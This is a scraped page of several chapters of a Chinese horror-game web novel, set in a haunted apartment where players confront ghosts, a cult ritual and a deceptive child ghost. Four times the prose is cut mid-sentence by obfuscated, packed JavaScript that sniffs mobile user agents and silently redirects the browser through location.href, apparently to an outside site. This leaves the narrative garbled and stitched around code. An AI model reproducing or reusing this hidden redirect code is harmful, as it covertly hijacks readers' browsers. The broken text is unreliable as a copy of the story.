l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14481365|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该是门背后堆满了重物。 “走,去隔壁!” 303麻将馆的大门很久以前就已经锁住,他们可能是没想到有人会来,没做太多提防,很容易就被他们劈了开来。 麻将馆里所有的桌椅都被堆在角落,只留下倒面佛所站的柜子放在屋子正中央,地上用血画了那个叫做“青莲长生归天引”的阵法。 阵法中心,齐念儿正和齐小宝一起背对着背躺在那里,两人身上用一条红绳缠绕着,手对着手,脚对着脚。 郝荨冲上前去抱住齐念儿,把齐永亮和方芳吓了一跳。 他厉声道:“你做什么?!放开她!” 方芳握着刀,刀尖有血液不停往下滴落,她脸色苍白,却还是色厉内荏道:“我们马上就要成功了!你们知道阻拦的后果吗?!” 她神色激动,眼中充满了疯狂。 “我佛已然生出青莲,青莲归,赐长生!请我佛赐予我儿长生!!!” “铛——” 一声钟鸣凭空响起,重重砸在郝荨耳中。 密密麻麻的经书声陡然出现,环绕着她,或远或近,使人不由头晕目眩。 一声叹息。 高坐莲台的倒面佛缓缓转了半圈,祂光滑无比的脸上生出一只扭曲肉瘤,那瘤子如核桃大小,鼓动着,像是有什么在底下挣扎。 不一会儿,那瘤子忽然裂开一条缝,像布帛撕裂般的声响在经书声中清晰可闻,郝荨忍不住盯着那黑洞洞的缝隙看去—— 一只黑白分明的眼珠转了转,定定望了过来。 那是一种怎样的眼神啊,慈悲中夹杂着审视,任何人在祂面前都仿佛没有秘密可言。 好像无论你做什么都可以被祂原谅。 ‘你想要什么?我的孩子。’ 祂叹息着,恍惚间,好像有一只温柔的手向她伸来。 “你想要长生吗?” 祂的眼中盛满鼓励,只要你愿意诚实面对自己,祂就一定会应允你的愿望。 郝荨眼神微微发直:“我想……” 祂循循善诱:“你想要什么?” “我想要……” 她轻轻伸出手,就在将要搭上去的那一刻,郝荨忽然弯起嘴角,露出了一个狡黠的笑。 “我想要你的头!” 她手腕一抖,【弗兰德斯之木仓】瞬间出现在她掌心,花朵在眼中绽放,如行云流水般举木仓射击。 “砰!砰!砰!” 子弹连连打在佛像身上,射出三个小坑。 “啊啊啊啊!!!” 方芳愤怒大喊,眼中几欲滴血! “你们竟敢!竟敢对我佛不敬!”她咆哮着起身,向郝荨冲来。 郝荨抄起齐念儿转头就跑。 但齐念儿毕竟是个八九岁的小女孩,不是小宝宝,身后还背着齐小宝,这重量对正在逃命的郝荨来说,实在是生命不可承受之重。 方柚柚适时放出她的兔子玩偶:“给我吧!” 两人在走廊上完成了交接,法瑟殿后,身后时不时传来打斗声响。 她们头也不回就往楼下跑,到达二楼时忽然撞上一个人,是跑丢的田耀! 不等郝荨发作,田耀却率先抱住自己的脑袋崩溃大喊: “你们怎么把他带下来了?!!” 69. 幸福公寓18 “你们怎么把他带下来了?!!” 郝荨举起木仓:“让开,不然我就开木仓了!” 田耀缩了缩脖子,嘟囔着让了开来,郝荨带着方柚柚和兔子冲进了他躲藏的地方。 进去后她才反应过来,这里就是田耀偷看施婉婉的那间202。 她厌恶地看了他一眼:“死变态!” 田耀敢怒不敢言。 你抢我的地盘还要骂我!这还有王法吗?! 幸好他没有说出口,不然郝荨势必要告诉他王法两个字怎么写。 楼上还在打斗,郝荨皱了皱眉,不应该啊,齐永亮和方芳再凶狠,在这个副本里也只是普通人,按法瑟的身法还不是一拳一个,怎么会要这么久? 一些不好的预感袭上心头,她没有忘记自己做的那个预知梦,她……会死在这个副本里。 况且,她对怨念核心还是心有疑虑,齐念儿被他们救出这件事是游戏里发生的,原本世界里他们并不存在,那照理说现在阵法应该已经完成,为什么最终还是产生了怨念? 还有那个怪物,究竟为什么要一直玩捉迷藏? “唔……” 齐念儿幽幽转醒,她脸色很不好,看什么都感觉天旋地转。 “我……这是哪儿?” 她有点害怕,还有点想吐。 郝荨伸手想去摸摸她的脑袋,被她一下躲过。 她没有太在意,只是将刚刚发生的事简单告知,听着听着,齐念儿扁着嘴,眼睛红红,委屈又震惊: “……是我不乖吗?还是、还是我没有照顾好弟弟,为什么…为什么他们要这样做……” 不喜欢自己小孩的父母有很多,重男轻女的更多,可不喜欢到要女儿把命换给儿子的却很罕见,可以说是匪夷所思。 连方柚柚都有点生气了。 她握紧兔子玩偶的手,愤愤道:“不是,是他们有病!” “啊?”齐念儿睁大双眼,“爸爸妈妈是生病了……才不要念儿的吗?” “哈!他们是脑子有病!” 方柚柚的嘴太快,郝荨阻拦不及。 齐念儿虽然只是个小孩,却也分得清她是不是在骂人,她扁了扁嘴,实在没有忍住,呜呜小声哭了出来。 “你别说话了!” 郝荨头很痛,她按住还想说话的方柚柚,方柚柚顶着那双无辜的死鱼眼表示无法理解。 “宝贝,是这样的,”她坐了下来,慢慢张开双臂,试探着去抱她,这次齐念儿没有拒绝,“在这个世界上,除了爸爸妈妈以外,还有很多人,世界很大,会有很多很多的爱在等着你……” 她的语气轻柔而又缓慢,方柚柚都不由得松开了自己的手,沉浸在对方的安抚中。 齐念儿更是如此,她抱紧郝荨的腰,将脸埋在对方肩头,渐渐止住抽泣。 然后,她忽然扯开嘴角,露出了一个愉悦的笑。 方柚柚一怔,这个笑—— 公寓骤然一静,火焰的噼啪声、打斗声……甚至连风声都停止了。 一阵毛骨悚然的孩童嬉笑声在整栋公寓大楼回响: “嘻嘻嘻嘻嘻……十二点到啦!” 小孩子们鼓着掌在走廊里四散跑走,咯咯笑着,门开合的声音也响了起来: “月亮高高挂天上,我们玩个捉迷藏,小手小脚轻轻跑,藏好藏好不被找……” “我躲好啦!” “我也好了!” “嘻嘻,快来找我呀!” …… “那——么——游——戏——正——式——开——始——” “月亮高高挂天上……” 孩童们一遍又一遍地念着童谣,凌乱的脚步声在各处响起,随着他们的童谣,一个沉重又缓慢的脚步声也混杂在其中。 “老大轻轻跃楼下……” “砰!” “金顺”晃了晃脑袋,将自己从铁栅栏上硬生生拔起,一步一步走向楼中。 “老二睡在大树旁……” “丁婆”僵硬地伸了个懒腰,她的背部与树皮黏在一起,微微一动就是一阵撕裂声,她并不觉得疼,反而是伸展四肢,细小根茎顺着阴影朝四面八方而去。 “老三鱼儿水里游……” “哔啵……哔啵……” 一个又一个气泡破裂声响起,水色蔓延,随着“赵清溪”的脚步一点点蔓延。 “老四偷偷躲床上……” 火焰再起,“田全”动了动自己烧焦的躯体,嘴巴张合着,四处张望,似乎在找什么人。 “找你找我真开心,老五留下夜哭郎……” 指甲抓挠伴着“呜呜”声和爬行的“沙沙”声透过墙壁传来,是何建国发出的。 童谣声顿了顿,就像磁带卡带一般又念了一遍。 “找你找我真开心,老五留下夜哭郎……” 郝荨意识到不对,她放开齐念儿站起身,又飞快瞥了一眼田耀,小声道:“我们换个地方。” 方柚柚点头:“好。” “找你找我真开心!老五留下夜哭郎!” 刹那间童谣声变得干哑尖利起来,听得人起了一身鸡皮疙瘩。 出门时田耀还想跟上,郝荨拿木仓口指了指他,眼神威胁,田耀立刻低下头,等他们一走,他立刻将门锁好,又拼命搬了几个柜子堆叠,将大门完全堵死。 做好准备后,他松了口气,一屁股坐在地上。 过了一会儿,他又嫌不舒服,干脆进了卧室躺在床上。 这屋里他经常来,熟悉的很,他从口袋里掏出张被揉得皱皱巴巴的纸条,啐了一口。 这情书可是花了他大心思的,改了许多遍,施婉婉她怎么能那么铁石心肠,一点都不感动? 就因为他没钱? 他想起那些送她回来的豪车,牙根紧咬。 贱人! 田耀将纸条塞进口中,用力生吞下肚,就像在撕咬着谁的血肉一般。 她是大学生,他也是,他们是如此般配,他还有个宠他上天的爹! 只要她愿意跟他在一起,他家的东西以后都是她的,她到底还有什么不满?! 长着这样一张脸,一看就是爱钱,还装模作样去看书,说什么要努力学习……因为那些有钱人就爱这套? 哈! 明明就是谁都可以,为什么偏偏他不行? 他摊开手掌,回忆着她肌肤的美妙触感,真是可惜啊,她本来可以永远跟他待在一起。 永远。 捉迷藏已经开始,只要等那些怪物一个接一个的将入侵者吞食,他就能再一次见到她了…… 他沉浸在自己的幻想里,没有注意到周身空气慢慢变冷。 一缕淡淡的土腥气钻入他的鼻腔,有什么碎屑星星点点落在他脸上。 田耀眯着眼,伸手抹了一把—— 棕褐色的,像是泥土。 他低低骂了一句,楼上打架就不能轻点吗?还把灰打到他脸上。 没素质。 他有点困了,迷迷糊糊翻了个身,不知道从哪来的风轻轻吹过,落下无数土屑,在床上形成一个人形,将田耀包裹在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14494549|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内。 “噗通。” 心脏重重跳动,田耀感到胸口有些不适,喘不过气。 他朦胧醒来,却惊骇发现,自己的腿动不了了! 不,不止是腿,这种麻木僵硬的感觉从下至上,一直延伸到胸口。 就像鬼压床。 冷汗顺着额头流下,几乎要湿透被单。 “谁?放开…放开我!” 呼吸越来越困难,他试图抓紧床单,却只摸到一手干涸的泥土。 “救…救命……” 缺氧让他面色涨红,随后,又开始发紫。 一只手从床下幽幽伸出,按在床沿,那手指生有老茧,指缝中全是泥屑。 田耀一愣,随即瞳孔剧烈震颤,他惊恐大喊: “不不,不要!对不起!别过来!求求你!” 随着那只手的出现,一个披头散发的女人缓缓站起,她本应如女明星一样美丽的脸上满是泥土,她俯下身体,凑到对方耳边。 冰冷的气息吐在田耀耳旁: “找到你了。” 田耀彻底崩溃:“对不起…谁来救救我……救命!救命!!!” “啊啊啊啊啊!!!” 惨叫声划破整栋公寓,孩童们快乐拍着手,笑声稚嫩又尖利: “找到啦!” “找到他了!” “快点快点,下一个下一个!” 黑暗里,郝荨和方柚柚脚步一顿,她挑了挑眉:田耀? 方柚柚耸肩:好像是。 两人带着齐念儿和齐小宝换地方躲藏,郝荨看齐念儿背着弟弟辛苦,小声问道:“我帮你吧?” 齐念儿有些犹豫,却还是摇头拒绝。 “我……只有弟弟了。” 郝荨也没强求,现在公寓里抓人的“鬼”实在太多,“人”这么少,她们被抓到只是时间问题。 比起这个,更重要的是要快点完成任务。 她重新回忆了一遍最开始的副本提示—— 【四天前,幸福公寓的204号房发生了一起灭门惨案,在那之后,公寓里便时常响起孩童们捉迷藏的童谣声……眼看着中元节即将到来,房客们终于下定决心找来你们解决闹鬼之事。】 等等,她好像忽略了什么。 房客们的诉求是解决闹鬼之事,而闹鬼之事指的的是捉迷藏,那么多游戏,为什么偏偏是捉迷藏? “念儿!” 暗处里一个黑影猛地扑了上来,郝荨下意识踹了一脚。 她定睛一看,竟然是方芳。 方芳痛得蜷伏在地,还不忘伸出手去想要够齐念儿:“宝儿,我的宝儿……阵法、阵法马上就能完成,快!快跟我回去!” 她本来是个略显泼辣但整洁干净的女人,此刻却身上沾满血污尘土,除开刀伤外,也有许多手指抓挠或是烧伤痕迹。 伤得很重。 可就这样,她依然执着地从鬼怪和法瑟手下逃脱,找到了齐念儿和她心心念念的小宝。 “宝儿……快!要来不及了…快跟我走!” 齐念儿站在她跟前,手指微微动了一下,似乎想要去摸摸她。 可最后,她还是什么都没做,只是任由对方抓住了自己破破烂烂的T恤下摆。 有那么一瞬间,她的脸上闪过了令人心惊的神色,是那种独属于成年人的…疲倦和冷漠。 再仔细看去时,又什么都没有了。 齐念儿后退了一步,方芳跪在地上,还想伸手去抓她,被她轻轻挥开。 “姐姐,我们走吧。” 70. 幸福公寓19 齐念儿最后看了一眼她,转身离开。 方芳不敢置信地瞪大双眼:“不行!不行!宝儿!宝儿!!你不能走!” 她一下子忘记所有疼痛,连起身都忘记了,只是飞快地手脚并用,膝行追上。 一时不察,背上的齐小宝被她狠狠拽了一下,一直昏睡的小孩忽的惊醒,哇哇大哭起来。 见到这一幕,方芳喊得更大声:“宝儿!我的小宝儿啊!!!” 她张开手臂就抓向齐念儿的脖子,一把勒住,齐念儿被勒得连连后退,不住呛咳着。 “你这样我可怎么活啊!念儿!念儿,跟我回去!我们走!!!” “咚、咚……” 怪物的脚步声从楼上传来,它听到了! 郝荨面色一下沉了下去,她掏出木仓:“松开,不然我就杀了你。” 她说得平静,语气中甚至没有掺杂半分威胁,可也正是因此,反倒让人更加害怕。 方芳一下闭上了嘴,下意识松开了手。 “咳咳咳咳……” 玩偶去扶她,齐念儿很想忍住咳嗽,却怎么也忍不住,她只好把头闷在玩偶肚子上,方柚柚干脆让兔子玩偶将她抱起。 方芳不敢制止,事实上,她的脑子里一片空白,身体剧烈地打着哆嗦,牙齿不小心发出了磕绊声。 她立刻捂住嘴巴,连看都不敢看那木仓口一眼。 “咚、咚、咚、咚……” 脚步声越来越急,越来越密。 不止那怪物,其他“鬼”也发现了他们! 影子从拐角处透出,方柚柚从玩偶肩上下来,做好战斗准备:“来不及了。” “来得及,”郝荨转身就走,“我们回去。” 方柚柚一愣,就见郝荨快步走回了202门口。 “他应该锁——” 话没说完,郝荨就略过202,走到了201,她动作利索地举木仓射击。 门开了。 “快来。” 方柚柚咽下剩下的话,带着玩偶迅速跟上。 施婉婉的房间和他们上次离开时没什么区别,随处可见的书和昂贵摆件,桌上撒了一叠钱币,就连那棵巨大的爱心盆栽也—— 她瞳孔骤然紧缩。 “咳咳……” “你在看什么?” 方柚柚走进房间,就看见郝荨在对着什么发呆,她疑惑问道:“脸色这么难看。” 郝荨回身,恰巧看到齐念儿也在兔子怀中好奇地仰起脑袋。 她迟疑一瞬,侧身挡住:“没什么。” 方柚柚狐疑,她不那么说还好,这么一说她还真是非看不可! 她探头去看,与半颗沾满泥土的头颅正正对上。 那半颗露在泥土外头的头颅发丝乌黑,痛苦地闭着眼,早已僵硬。 是施婉婉?! 田叔不是说她学校有事出门了吗? 心思急转,方柚柚立刻明白了怎么回事,一定是田耀下的手。 田全恐怕就是知道了这件事,才愤而拉着田耀自焚,还一直质问他究竟为什么会做这种事。 见她明白发生了什么,郝荨朝方柚柚使了个眼色,方柚柚会意,将齐念儿带到另一边。 郝荨正准备将门堵上,鼻尖却忽然闻到了一股焦糊味,那味道近在咫尺,就像是……只跟她隔着一扇门似的。 门外。 2楼的走廊异常寂静,仿佛一个人也没有。 事实上,也确实没有“人”。 如果郝荨现在朝猫眼看去,会发现外面挤挤攘攘,整栋幸福公寓的鬼影都聚集在外头,沉默地盯着这扇大门。 “金顺”率先开口:“是这儿吗?” “是。” “她就在这?” “我看见了。” “怎么不进?” “快进,快进,它马上要来了。” “你先进。” “你怎么不先?” 又是一阵沉默,丁婆的树根不耐烦地从每个人头顶扇过。 “金顺”被闷头打了一巴掌,他清清嗓子:“我进了。” 所有鬼影都盯着他去推门的那只手,手上血迹斑斑,分不清是他的血还是别人的。 “嘎吱——” 在场所有鬼都呆了一下,这么轻松? “金顺”几乎控制不住面上的喜意,他赤红着双眼,血泪顺着眼角流下,迫不及待地推门进入。 屋内静悄悄,“金顺”毫不在意,他兴奋地拉了拉自己被血液浸透的背心,鲜血从胸口的大洞里流下,在地上印出一个个脚印。 笑容在“金顺”脸上维持了不到一分钟。 没人?不可能! 他急切地趴下,床底——没有,衣柜——没有,厕所——没有! 没有!没有!没有! 这不可能! 他亲眼看着那群人进来的! 其余鬼影也纷纷露出了不可置信的表情。 “人呢?” 施婉婉的屋子就这么大,能藏人的地方也就这么几个,怎么会没有呢?! “金顺”的视线扫过阳台,忽的,他的目光定住。 在那里,有什么微妙地动了一下。 他嘴角勾起,找到了。 “金顺”环顾四周,很好,没有鬼注意到他,他双手贴近,想要插进口袋,摸了半天才想起来自己的大裤衩没有口袋。“金顺”有点尴尬地抬起头,装作不经意般靠近阳台,嘴里还嘟囔着“奇了怪了,怎么会没人…”这样的话。 然后,他突然一个迈步冲进阳台,出鬼意料的是,阳台上没人。 只有一只坐在门边满脸晦气模样的玩偶兔。 “金顺”不信邪,仔仔细细地把每一寸阳台都摸索了一遍,连天花板和阳台外侧都看了,这才不得不相信屋里确实没人。 虽然不知道她们怎么做到的,但那群人确实已经离开了这里。 他的脸也写上了晦气两个字,报复性的将自己的血抹到了那只兔子玩偶的身上。 玩偶眼中红光闪过。 “金顺”打了个喷嚏,怎么回事,他都变成鬼了怎么还能感觉到冷? 鬼影慢慢离开,在最后一个鬼也离开的瞬间,楼上的阳台忽然伸出一只手来。 玩偶兔疯狂抖了抖,嫌弃地把身上的血珠全都抖落,它很生气,明明应该可爱弯起的嘴角现在绷得很紧。 它后退几步,猛地起跳,小小的身形根本看不出能爆发出如此巨大的弹跳力,只轻轻一跃就跃到了楼上阳台露出来的那只手臂上,又顺着手臂滑下,被方柚柚默契地抱在怀中。 她打了个哈欠,有点困了。 “啪。” 玩偶兔甩着自己长长的耳朵给她来了一下:“醒醒,这是副本!” “哦……” 方柚柚用力搓了搓脸颊:“也不知道园长她们怎么样,可别被抓住了。” 202号。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14507184|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有几个不死心的鬼影离开201号房后又用力推了推202,许久才放弃离开。 郝荨贴在墙上仔细听,听见他们下楼的声音才松了口气。 当时她和方柚柚有两个选择,幸福公寓是老式建筑,阳台和阳台之间只隔着一面墙,施婉婉和隔壁202的阳台都没有封,只要胆子够大,完全可以顺着墙壁翻过去。 202之前是田耀藏身的地方,本来不算安全,但他之前的惨叫声表明他已经被抓到,按照常理来说,很少有人,不,有鬼会在短时间内再回同一个地方去抓人。 当然,相比较来说楼上要更安全一些,毕竟除了怪物以外,所有鬼都在二楼,三楼被抓到的几率大大降低。但要去往三楼的话难度比翻墙难多了,哪怕是她自己一个人也有些困难,更何况还要带着齐念儿和齐小宝,倒是方柚柚年纪小体重轻,玩偶兔能轻松把她送上去。 紧急之下她们决定分头行动,就算一方被抓,也能拖延时间等另一方人来救。 她刚才神经一直紧绷,握着木仓的手都渗出汗来,她换了只手,在身上擦了擦: “他们走了——” 有什么光从她眼前一下闪过。 郝荨眯了眯眼,再定睛看时,又仿佛什么都没发生。 齐念儿还是那副伤心欲绝的模样,离开妈妈后她一直都很害怕,紧紧跟在郝荨身后,好像生怕她会被再次丢下。 郝荨微微歪了一下脑袋。 “他们走了,我们先休息一下吧。” 齐念儿怯生生地点了点头:“好。” 说完,她乖巧地转过身,客厅里的家具已经全被田耀堆在门口,她踌躇半晌,走近了卧室里。 郝荨“咦”了一声,方才一直没注意,这张床…… 床垫上撒了许多泥土,堆成了一个黑色人形,人形四肢有些扭曲,像是受到了极大的惊吓似的,郝荨扒拉了一下,挑了挑眉。 这床垫里头竟然也都是土,就像是从上面渗下去似的。 她没有注意到,在她认真查看的时候,齐念儿不着痕迹地来到了她背后,她抬起手,握紧的拳头中露出一截尖刀。 齐念儿找准时机,迅速向前挥出,郝荨却突然弯下腰。 “嘶——” 齐念儿还以为自己被发现了,她立刻想要再补一刀,却见对方一个闪身,退到了一旁。 “你——” 齐念儿皱眉,刚刚那下不小心擦过自己的手指,划破了一道。 郝荨完全没有注意到她,而是震惊地看向床底: “你居然没死?!” 田耀大口大口喘着气从床下艰难爬出,他手指颤抖地想要去抓郝荨裤脚,被对方一脚踢开。 他连头都没有力气抬起,嘴唇颤抖着,似乎想要说什么。 郝荨在送这变态去死和听听他还能放什么屁之间挣扎了几秒,最终还是屈服地半蹲下来:“你想说什么?” “救……” “什么?” “救…它……” 她侧过耳朵,又低了低头,不知道是不是错觉,好像有股凉风一下从头顶划过。 田耀终于抓住她的衣袖,他深吸一口气,拼尽全力嘶吼: “救我!它要来了!!!” 瞬间,火焰从楼下喷涌上来,浓烟瞬间蔓延,直冲云霄。 “砰!” 大门被一股巨力冲撞,门板连同背后堆积如山的家具一同发出了清脆的开裂声。 71. 幸福公寓20 木质家具在火焰中发出噼里啪啦的燃烧声,大门还在一下又一下地被冲撞。 这么大的力气,门口一定是那个怪物! 郝荨回身看向齐念儿:“它要来了,我们快走!” 话音刚落,她突然恍惚了一瞬,有个奇怪的想法在哪她脑内闪过。 这句话……她好像在哪说过? “砰!” 又是一声巨响。 郝荨立刻收回思绪,正要推着齐念儿离开,裤脚却还在田耀手里。 “啧,松手!” “救我!别走!救救我!” 田耀浑身都是泥,皮肤冰冷的可怕,郝荨想去抓他的手时被冰得打了个颤。 “松开!” 见田耀眼睛都睁不开了也不肯放手,她没有办法,只能开口骗他:“好吧,你出来,我带你走。” “哐当!” 最顶上的家具被震了下来,摔在地板上碎开。 大门坚持不了多久了。 田耀本就是垂死挣扎,听到这句话倒像是回光返照一般有了点力气,他屏住气,撑着地将自己的上半身从泥土中拔出: “快!拉我——” 他眯成一条缝的眼睛不知道看到了什么,忽的睁大,瞳孔巨震。 这一刻,他仿佛忘记了自己刚才是多么努力才求得郝荨救他,也忘记了自己离死亡只剩一口气。 只见田耀一把甩开郝荨的手,拼了命也要缩回床下。 郝荨忽然意识到什么。 在她的眼前,四周滚烫,房间内浓烟密布,刺得人眼睛都睁不开。 时不时还有断裂的木头带着火星倒下,洗手间的水龙头哗哗流着水,她转过身—— 齐念儿举着一把尖刀,脸上是她从未见过的冷酷神色。 * 三楼。 意识到起火,方柚柚有点担心园长会不会出事。 “不会有事的。” 玩偶兔面无表情安慰她:“要是她连C级副本都过不了,那就说明她不是我们要找的人。” 这明明不是安慰人的语气,但方柚柚诡异地被说服了。 “你说得对。” 她伸出手臂:“走吧,再去找一找线索。” 玩偶兔倏地变大,将她抱起放在肩上。 三楼没有鬼怪,只有逐渐弥漫上来的浓烟和高温,方柚柚先去了趟赵清溪家,305室不愧是潮湿到长霉菌的地方,高温火焰于它而言就仿佛是小孩的打闹,刚一踏入就寒凉入体,她忍不住往玩偶身上靠了靠。 “咦?那是——” 她拍了拍玩偶,玩偶兔听话地将她放下。 方柚柚捡起赵清溪书桌上的稿纸,上面模糊不清地写着几段话,字迹非常混乱,她认真看了许久才辨认出来这写的大概是那本公寓悬疑的新剧情: 【侦探小姐入住后,怪事不仅没有解决,反而还发生的更加频繁。】 【她很疑惑,直到有一天,她做了一个梦。】 【梦里,公寓又死了一户人家,这家的妻子尸体被埋在公寓旁的草丛下,是公寓里的流浪狗发现的,丈夫听闻噩耗也随之倒下,只剩一口气……】 中间大团大团的水珠将字迹晕开,让人看不清楚,方柚柚翻到最后—— 【最后,侦探小姐从梦中醒来,看见了一只和梦里一模一样的眼睛。】 【在梦中,这只眼睛长在神明脑后,是神明看透时间百态不忍再看的标志,而在现实,眼前人的脑后也有一只眼睛。】 【侦探小姐意外中又带着些许明悟,她眼神复杂道:“竟然是你……”】 故事就到这里结束了,方柚柚不死心,又往下继续翻,确实是没了,后头全是空白。 脚步声从门外传来,方柚柚一惊,连忙蹲下,滑进书桌的桌洞内。 “哒、哒……” 一双有点眼熟的皮靴在书桌前停下,来人敲了敲桌面: “出来。” 听到声音,方柚柚立刻松了口气,她手脚并用爬出:“是你啊。” 见到只有她一个,法瑟皱了皱眉:“她呢?” 方柚柚拍了拍身上,屋里太潮湿了,就这么一会儿,她的裤子上已经有了水汽。 “玛弥在楼下,我们分头行动——你、你手上拿的什么?” 她猛地一个后撤步,离开对方起码两米远。 法瑟不明所以地看了眼自己的左右手:“哪个?” 他左手拿着一张薄薄的黄纸,右手提着的——正是那尊齐家人顶礼膜拜的倒面佛。 这佛像很大,又因为时常擦拭而显得分外光滑,他嫌弃这玩意儿不好单手提,干脆现场找了根筷子插进佛像拈花的那只手下,也不知道他怎么找的角度,竟然还刚好卡住了! 只是这样的话,佛像看起来像是一只四脚朝天的烤乳猪,有点不太礼貌。 方柚柚欲言又止,她干脆眼不见心不烦,指着那张黄纸道:“这个呢?” 法瑟将黄纸递来,方柚柚扫了几眼,是写给神明的祈求信,应当是齐永亮写的,告知神明他想祈求长生之人的生辰八字,又随信附上血肉至亲的生辰八字为引,期盼神明能赐予这个孩子长生。 她一开始还没当回事,可看着看着,她感到哪里不对劲。 突然,她灵光乍现:“不好!玛弥有危险!” * “是你……” 郝荨望着那柄锋利的利器,想起【罅隙窥视】里见到的那一幕。 那条世界线中的自己竟然是死在这个小女孩手中! 心脏不自觉地缩紧,她倒抽一口凉气。 不等她发作,齐念儿却突然变了脸色,她的眼中隐隐浮现出泪光,握住尖刀的手不住地颤抖着: “对不起……” 她在道歉?为什么? “对不起…其实,其实我一直在骗你们……”她抽噎着,身上背着的齐小宝不小心被火舌燎到,扁了扁嘴,哇哇大哭起来。 他边哭边咳,脸涨得通红,又被浓烟呛到,渐渐的,他的哭声越来越小,几乎要晕厥。 齐念儿这会儿顾不上弟弟了,她没有收回刀,只是快速抹了一把眼泪: “真的对不起。” 郝荨不动声色:“你骗了我?骗了我什么?” “其实,其实……”齐念儿咬住下嘴唇,半晌,才将剩下的话语吐出,“其实我们早就死了,爸爸妈妈的阵法失败时,我和弟弟就一起死在了阵法里,之后……爸爸妈妈也死了。” 郝荨没有反应。 见她如此表现,齐念儿有些急了:“我说,我们早就死了!都是鬼!这栋公寓里,全都是鬼!你、你不害怕吗?” 她看起来是真的很急,流了一头汗,真实得就像是一个普通小女孩。 但郝荨却反倒是冷静下来:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14533878|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯,我知道了。” 见她不上道,齐念儿微不可察地皱了下眉。 她试图研究对方脸上的表情,想看看对方究竟是个什么想法,可先前还喜怒形于色的郝荨这会儿一丝表情也无。 齐念儿只好硬着头皮开口:“每到夜里,那个怪物就会逼着大家玩捉迷藏,被抓住的人会一遍又一遍的重复自己的死亡,好痛……你们来的那天,那个大怪物抓住我们,要我们帮它杀人。” “你是说,那个怪物想杀我们?” “嗯…”泪水再次渗出,齐念儿通红着眼睛,“姐姐,我不想杀人,爸爸不要我,妈妈也不要我,姐姐,你是唯一一个对我好的人……” 说到这,她停顿了几秒,才低声开口:“你能带我走吗?我不想再玩捉迷藏了……” 她微微低下头,又瘦又小的小女孩皱着鼻子,哭得毫无章法,想要你带她离开这里,但凡是个有点善心的都很难拒绝。 可偏偏,她碰到的是郝荨。 作为一个神明钦定的铁石心肠资本家,郝荨有些厌烦地叹了口气:“我有一个疑问想请你解答。” 见她终于有了反应,不再是那副无动于衷的模样,齐念儿心下一喜。 她连忙克制住自己的表情,状似懵懂地抬起头:“嗯?” 却对上了郝荨那双仿佛看透一切的眼睛。 郝荨反手掏出木仓: “如果你们都是鬼,那为什么同样是鬼的田耀会害怕——” “——你?” “咔嚓!” 剧烈的玻璃碎裂声响起,无数细小的玻璃碎片随着一股气流翻滚飞散。 郝荨站在原地一动不动,冷风将她的头发吹起,一个黑色身影稳稳落在她身边,她弯起嘴角轻轻笑了笑: “解决了?” 法瑟一抖刀尖,血珠落地:“嗯。” 他有些疑惑:“齐永亮和方芳都只是普通人。” 他当时没有立刻去找她们,就是想先把BOSS解决了,本以为齐永亮夫妻两人即便不是大BOSS也该有点神异在身上,没想到竟然真的是普通人。 就是太能藏了,害的他找了好久。 又是一声落地声,方柚柚从玩偶兔身上一跃而下,站都没站稳就急匆匆喊道:“园长小心!她是坏蛋——” 声音戛然而止。 方柚柚一脸懵逼地看着眼前这副场景,她眼中的坏蛋BOSS齐念儿手中握着一柄约有十五公分长的尖刀,刀刃锋利,要是能一招命中,确实是把令人胆寒的凶器…… 至于对面,法瑟浑身上下被黑色包裹得严严实实,只露出一双眼睛,仔细看去,那眼中仿佛什么都没有,任何人任何事都无法在其中留下痕迹,他随意地站在那,身形却像只正在栖息的大型猫科动物,哪怕他什么都没做,也会让人不自觉发毛。 更可怕的是,就这样的人物也只是站在园长身侧,就像是某个不可说大型组织领导人的保镖。 方柚柚嘴角抽了一下,她望向自己一直担心的“新人玩家·普普通通·很好说话·游乐园园长”—— 园长的眼神冷淡又倦怠,嘴角却带着一抹温柔的笑,就像在看一个闹脾气的小朋友,她的手中是一支精致小巧的女士左轮,半点不带抖地举着,木仓口对准的,是齐念儿的脑门。 这一刻,她诡异的与齐念儿共情了。 不是,到底你们俩谁是坏蛋啊?!! 72. 幸福公寓21 “你找到什么了?” 郝荨强忍住想打哈欠的欲望,用余光瞥了眼岌岌可危的大门,那怪物还在坚持不懈地撞着,这眼看着坚持不了几分钟,可没时间再让方柚柚发呆了。 